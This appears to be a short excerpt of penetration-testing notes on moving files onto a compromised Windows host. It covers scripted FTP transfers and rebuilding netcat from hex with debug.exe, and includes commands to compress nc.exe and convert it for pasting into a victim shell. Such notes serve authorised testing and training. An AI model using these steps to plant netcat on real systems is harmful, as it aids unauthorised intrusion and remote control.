Why is this so much harder in Windows? I don't know.
FTP
Even though many Windows versions have FTP clients, we can't use them interactively because it will kill shells. But we can run multiple commands from a file and download them from an FTP server like pure-ftpdon the attack machine.
On the victim machine, echo the following commands into a file:
On windows 32 bit machines, it is possible to use debug.exe to transfer programs. It is used to inspect binaries, like a debugger, but can also rebuild them from hex. For example, a binary like nc.exe can be disassembled into hex, pasted into a file on the victim machine, and then assembled with debug.exe.
Debug.exe can only assemble 64 kb, use upx to compress the executable:
upx -9 nc.exe
To disassemble:
wine exe2bat.exe nc.exe nc.txt
Pasting that into the Windows shell will create nc.exe